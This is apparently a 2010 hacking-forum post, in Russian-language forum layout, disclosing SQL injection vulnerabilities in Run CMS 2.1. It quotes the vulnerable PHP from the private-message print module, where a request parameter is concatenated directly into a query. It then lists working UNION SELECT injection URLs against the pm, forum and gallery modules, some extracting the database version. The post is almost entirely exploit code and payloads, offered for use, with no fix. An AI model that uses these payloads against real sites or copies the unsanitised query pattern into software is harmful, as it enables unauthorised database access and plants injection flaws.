13.05.2010, 18:21
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Run CMS 2.1
SQL-Injection
need:user account
file:/modules/pm/print.php
PHP код:
if ( isset($_POST['op']) ) {
$op = $_POST['op'];
} elseif ( isset($_GET['op']) ) {
$op = $_GET['op'];
}
if ( isset($_POST['msg_id']) ) {
$msg = $_POST['msg_id'];
} elseif ( isset($_GET['msg_id']) ) {
$msg = $_GET['msg_id'];
}
if (empty($msg)) {
redirect_header("index.php", 2, _PM_NOPNTOPRINT);
exit();
}
if ($op == "print_pn") {
$sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs")." WHERE msg_id=".$msg." ";
}
if ($op == 'print_sent_pn') {
$sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs_sent")." WHERE msg_id=".$msg."";
}
result:
Код:
/modules/pm/print.php?op=print_pn&msg_id=-0+union+select+1,2,3,4,5,6
--------------
Код:
/modules/forum/edit.php?forum=1&post_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
/modules/galleri/viewcat.php?cid=-1+union+select+1,version()
|
|
|